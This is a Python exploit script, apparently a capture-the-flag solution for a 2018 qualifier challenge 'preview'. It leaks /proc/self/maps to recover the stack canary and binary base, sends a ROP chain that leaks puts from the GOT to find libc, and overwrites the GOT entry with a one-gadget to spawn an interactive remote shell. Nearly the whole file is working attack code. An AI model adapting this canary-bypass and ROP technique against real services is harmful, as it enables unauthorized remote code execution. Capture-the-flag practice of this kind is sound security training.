preview.py

import socket, struct, os, binascii, base64
import telnetlib   

from pow import *

def readline(sc, show = True):
    res = ""
    while len(res) == 0 or res[-1] != "\n":
        data = sc.recv(1)
        if len(data) == 0:
            print repr(res)
            raise Exception("Server disconnected")
        res += data
        
    if show:
        print repr(res[:-1])
    return res[:-1]

def read_until(sc, s):
    res = ""
    while not res.endswith(s):
        data = sc.recv(1)
        if len(data) == 0:
            print repr(res)
            raise Exception("Server disconnected")
        res += data
        
    return res[:-(len(s))]
    
def read_all(sc, n):
    data = ""
    while len(data) < n:
        block = sc.recv(n - len(data))
        if len(block) == 0:
            print repr(data)
            raise Exception("Server disconnected")
        data += block

    return data

def I(n):
    return struct.pack("<I", n)
    
def Q(n):
    return struct.pack("<Q", n)

# sc = socket.create_connection(("10.0.0.49", 12345))

sc = socket.create_connection(("cee810fa.quals2018.oooverflow.io", 31337))
readline(sc)
chall = readline(sc).split(": ")[1]
n = int(readline(sc).split(": ")[1])
readline(sc)
res = solve_pow(chall, n)
print res
sc.send(str(res) + "\n")

sc.send("HEAD /proc/self/maps\n")

canary = 0

for i in xrange(3 + 7):
    line = readline(sc)
    if "r-xp" in line:
        res = int(line.split("-")[0], 16) >> 12
        if "ld" in line:
            canary |= res << 36
        else:
            canary |= res << 8
            elfbase = res << 12
            
print hex(canary)

pop_rdi = elfbase + 0x10b3
pop_rsi_r15 = elfbase + 0x10b1
plt_puts = elfbase + 0x9e0
plt_read = elfbase + 0xa60
got_puts = elfbase + 0x202020

puts_offset = 0x6f690
shell_offset = 0x4526a

rop = "XXXXXXXX" * 11 + Q(canary) + "XXXXXXXX" + Q(pop_rdi) + Q(got_puts) + Q(plt_puts) + Q(pop_rdi) + Q(0) + Q(pop_rsi_r15) + Q(got_puts) + Q(0) + Q(plt_read) + Q(plt_puts) + "ZZZZZZZZ"
print len(rop)
if "\n" in rop:
    print "BAD ROP THIS TIME"
    exit()
sc.send(rop + "\n")

readline(sc)
res = readline(sc)
libcaddr = struct.unpack("<Q", res.ljust(8, "\x00"))[0] - puts_offset
print hex(libcaddr)

sc.send(Q(libcaddr + shell_offset))

t = telnetlib.Telnet()                                                  
t.sock = sc
t.interact()  

while True:
    data = sc.recv(16384)
    if len(data) == 0:
        break
    for line in data.split("\n"):
        print repr(line)